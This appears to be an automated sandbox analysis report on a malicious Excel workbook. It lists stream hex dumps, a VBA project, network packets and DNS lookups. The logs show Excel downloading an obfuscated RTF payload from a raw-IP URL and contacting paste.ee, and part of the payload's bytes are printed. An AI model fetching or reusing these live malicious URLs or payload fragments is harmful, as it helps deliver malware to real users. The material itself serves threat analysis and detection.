Data ASCII:	. . . . v b { 4 1 . . . . . . . . . . . . D . . . y . . . K . @ . . . h . t . t . p . : . / . / . 1 . 0 . 7 . . . 1 . 7 . 5 . . . 2 . 0 . 2 . . . 1 . 5 . 4 . / . r . m . c . / . b . e . a . u . t . i . f . u . l . p . e . o . p . l . e . s . a . r . o . u . n . d . t . h . e . w . o . r . l . d . t . o . d . e . v . e . l . o . p . n . e . w . t . h . i . n . g . s . w . i . t . h . t . h . e . w . o . r . l . d . w . i . d . e . t . e . c . h . n . o . l . o . g . y . f . o . r . m . i . c . r . o . s . o
Data Raw:	01 00 00 02 b9 e5 76 62 a0 7b 34 31 00 00 00 00 00 00 00 00 00 00 00 00 44 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 40 01 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 37 00 2e 00 31 00 37 00 35 00 2e 00 32 00 30 00 32 00 2e 00 31 00 35 00 34 00 2f 00 72 00 6d 00 63 00 2f 00 62 00 65 00 61 00 75 00 74 00 69 00 66 00 75 00 6c 00 70 00 65 00 6f 00 70 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 245602

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	245602
Entropy:	7.998044678824266
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . . X . O c W { ; ( . . . S . . [ x V . . C . ] } . . . . . . . : . . . \\ . p . . 7 M . k Z . m . . B \\ J h 9 C M B . . F . . . S 6 3 . . . # . . k . . . 7 . < W G . Z . Q w v ( / . } r ) e f 8 & P + ! Z H ; B . . . . } a . . . . . . . = . . . [ ) > . . . ) h O , 8 . ! . . . ? . . . . B . . . . . . . . . x . . . . . N . . . = * = . . . L l . x c % . . ) ] 6 @ . . . . . . . . z " . . . . . . . V . . . ( . . . K 1 . . . . F . % ; . ~ _ 5 o m . . . . i 1 . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 f9 a9 c7 cf 14 58 09 ed 4f 63 e8 57 7b 3b e8 e3 28 88 1b c0 e8 a3 a5 e7 08 53 1d 90 1d bb 5b c0 78 56 9a de 08 ba c8 89 43 fc f5 9e 0d 5d bf 7d e1 00 02 00 b0 04 c1 00 02 00 ea 3a e2 00 00 00 5c 00 70 00 83 bf d9 a3 f9 37 b3 4d 1b 6b 5a 13 6d 7f b4 cc 1d e3 f1 bd 9a 42 5c 4a 68 39 84 a8 43 4d

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 535

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	535
Entropy:	5.231306643917539
Base64 Encoded:	True
Data ASCII:	I D = " { E D 6 7 0 9 9 2 - 0 0 0 A - 4 5 4 8 - 8 9 A 4 - 5 9 C 3 E C D 2 5 C F E } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 3 F 3 D D 8 0 C 2 8 1 C 5 4 2 0 5
Data Raw:	49 44 3d 22 7b 45 44 36 37 30 39 39 32 2d 30 30 30 41 2d 34 35 34 38 2d 38 39 41 34 2d 35 39 43 33 45 43 44 32 35 43 46 45 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	4.0019514032400325
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.394888683595906
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . g . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 96 16 d9 67 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 15, 2024 14:18:57.329260111 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.464813948 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.464996099 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.465085030 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619015932 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619048119 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619059086 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619071007 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619086981 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619097948 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619111061 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619123936 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619136095 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619152069 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.619267941 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619267941 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619268894 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619268894 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619268894 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.619268894 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.625123024 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.753982067 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.753998041 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754009962 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754021883 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754035950 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754043102 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754046917 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754043102 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754065990 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754070997 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754080057 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754089117 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754091978 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754102945 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754110098 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754115105 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754117012 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754127026 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754136086 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754139900 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754143953 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754152060 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754163980 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754167080 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754173040 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754177094 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754189014 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754194021 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754200935 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754201889 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754214048 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754215002 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754228115 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.754231930 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754251003 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754251003 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.754259109 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.889940977 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.889960051 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.889971018 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.889983892 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.889991999 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890021086 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890021086 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890029907 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890141010 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890155077 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890166044 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890177965 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890182018 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890189886 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890191078 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890203953 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890211105 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890214920 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890217066 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890223980 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890230894 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890242100 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890243053 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890255928 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890260935 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890268087 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890269995 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890280008 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890290022 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890290022 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890291929 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890304089 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890311003 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890315056 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890326977 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890330076 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890330076 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890338898 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890355110 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:57.890360117 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890360117 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890362024 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890384912 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:57.890392065 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:58.342466116 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:58.505927086 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:58.640837908 CET	80	49163	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:58.640904903 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:58.643806934 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:58.781802893 CET	80	49163	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:58.781871080 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:59.134732962 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:59.269342899 CET	80	49164	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:59.269444942 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:59.269529104 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:18:59.406320095 CET	80	49164	107.175.202.154	192.168.2.22
Feb 15, 2024 14:18:59.616796017 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:02.630579948 CET	80	49162	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:02.630645037 CET	49162	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:02.676852942 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:02.810720921 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:02.811626911 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:02.811908007 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:02.947417021 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:02.949990034 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.087971926 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.298382044 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.379153013 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.427108049 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.427180052 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.514327049 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.514867067 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.650784969 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.771536112 CET	80	49163	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.771589041 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.859967947 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.958528042 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:03.960684061 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:03.993736982 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.129082918 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.129434109 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.266107082 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.385574102 CET	49163	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.385874033 CET	49167	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.396266937 CET	80	49164	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.396330118 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.396378040 CET	49164	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.468437910 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.521518946 CET	80	49167	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.521601915 CET	49167	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.521739960 CET	49167	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.521794081 CET	80	49163	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.531985044 CET	80	49164	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.569734097 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.569797993 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:04.658142090 CET	80	49167	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:04.658386946 CET	49167	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:05.711719036 CET	49168	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:05.846120119 CET	80	49168	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:05.846188068 CET	49168	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:05.846790075 CET	49168	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:05.984318972 CET	80	49168	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:05.984389067 CET	49168	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:06.705096960 CET	49169	80	192.168.2.22	104.21.84.67
Feb 15, 2024 14:19:06.768132925 CET	49168	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:06.824131012 CET	80	49169	104.21.84.67	192.168.2.22
Feb 15, 2024 14:19:06.824737072 CET	49169	80	192.168.2.22	104.21.84.67
Feb 15, 2024 14:19:06.825103045 CET	49169	80	192.168.2.22	104.21.84.67
Feb 15, 2024 14:19:06.943933964 CET	80	49169	104.21.84.67	192.168.2.22
Feb 15, 2024 14:19:09.015305042 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.153134108 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:09.153429985 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.294578075 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:09.507179976 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.599127054 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:09.599186897 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.605843067 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.645989895 CET	80	49167	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:09.646059990 CET	49167	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.741621017 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:09.743010044 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:09.883886099 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:10.084713936 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:10.192723989 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:10.192816019 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:14.880880117 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:14.880954981 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:14.881005049 CET	49166	80	192.168.2.22	107.175.202.154
Feb 15, 2024 14:19:15.017230034 CET	80	49166	107.175.202.154	192.168.2.22
Feb 15, 2024 14:19:36.442171097 CET	49169	80	192.168.2.22	104.21.84.67
Feb 15, 2024 14:19:58.182549000 CET	49167	80	192.168.2.22	107.175.202.154

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 15, 2024 14:19:06.479705095 CET	54562	53	192.168.2.22	8.8.8.8
Feb 15, 2024 14:19:06.589297056 CET	53	54562	8.8.8.8	192.168.2.22
Feb 15, 2024 14:19:06.596159935 CET	52917	53	192.168.2.22	8.8.8.8
Feb 15, 2024 14:19:06.704135895 CET	53	52917	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 15, 2024 14:19:06.479705095 CET	192.168.2.22	8.8.8.8	0xe83d	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Feb 15, 2024 14:19:06.596159935 CET	192.168.2.22	8.8.8.8	0xced3	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 15, 2024 14:19:06.589297056 CET	8.8.8.8	192.168.2.22	0xe83d	No error (0)	paste.ee	104.21.84.67	A (IP address)	IN (0x0001)	false
Feb 15, 2024 14:19:06.589297056 CET	8.8.8.8	192.168.2.22	0xe83d	No error (0)	paste.ee	172.67.187.200	A (IP address)	IN (0x0001)	false
Feb 15, 2024 14:19:06.704135895 CET	8.8.8.8	192.168.2.22	0xced3	No error (0)	paste.ee	172.67.187.200	A (IP address)	IN (0x0001)	false
Feb 15, 2024 14:19:06.704135895 CET	8.8.8.8	192.168.2.22	0xced3	No error (0)	paste.ee	104.21.84.67	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

107.175.202.154

paste.ee

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	107.175.202.154	80	172	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Feb 15, 2024 14:18:57.465085030 CET	446	OUT	GET /rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.175.202.154 Connection: Keep-Alive
Feb 15, 2024 14:18:57.619015932 CET	1286	IN	HTTP/1.1 200 OK Date: Thu, 15 Feb 2024 13:18:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 15 Feb 2024 01:10:30 GMT ETag: "ff9f-611614b29bc79" Accept-Ranges: bytes Content-Length: 65439 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword Data Raw: 7b 5c 72 74 0d 0d 0d 0d 0d 09 09 09 09 7b 5c 6d 6d 6f 64 73 6f 66 69 6c 74 65 72 33 35 31 37 31 37 37 30 36 20 5c 2b 7d 0d 7b 5c 34 37 37 36 37 36 35 30 36 7c 31 5e b5 2e 34 26 34 5f 28 3a 25 38 60 40 2e 39 33 5b 3f 2c 21 26 5e 3a 36 3f 3d 39 2a 40 60 a7 31 31 5b 3a 7c b0 34 30 27 31 40 37 33 5e 25 23 26 3c 3f 30 40 3b 24 29 35 2a 33 23 32 32 3f 23 23 b5 34 27 31 5e 2f 38 5e 23 32 2e 5d 2f 5b 2f 3f b0 2c 25 3f 3c 3d 38 5f 21 3d 36 32 2b 2d 3f 7c 3e 3f 25 27 27 28 2e 3f b0 27 3f 23 5f 25 25 3b 5e 3f 3d 32 3e 38 3c 3f 2c 3d 3e 7c 32 26 2e 24 2e 3b 7c 34 60 3d 7c 2a 5d 34 7c 35 32 60 3e 3f 7e 38 2e 38 3f 7c 34 30 2a 39 2c 40 a7 5e 31 3d 21 21 2d 3c 5e 25 5e 25 5f 29 2b 23 35 26 5e 29 2d 2b 2a 7e 26 26 3f 40 2a 2e 34 2d 2a 2a 2b 5f 3f 3d 3c 3f 30 35 3f 31 38 27 37 3d 2c 38 38 5f 2e 31 29 7c 33 37 3b 2d 2f 5f 23 29 32 2e 3a b5 3c 3c 30 3f 3f 5e 7c 3f 34 b0 21 3f b0 27 29 3d 60 3f 3f 3a 31 24 24 3a 3f 3f 5e 27 3c 33 2e 5b 37 5e 28 3d 5d 7e 38 23 3f 5b 35 26 25 2a 3f 34 2b 3f 24 b5 2e 23 2a 2d 3a 21 30 2c 36 38 25 33 3b 2f 3c 3e 25 31 5d 3f a7 3b 7e 2d 30 3c 24 60 a7 37 a7 28 33 3f b0 35 28 3b 25 28 7e 2d b0 5e 30 5f 3a 3d 24 2a 32 3e 40 32 36 3d 2a 25 2e b5 2e 35 7c 3f 28 3e 2f 2c 38 3f 38 24 2b 2d 3a 40 3d 2c 5d 37 2f 26 26 3f 36 60 7c 5e 25 36 3a 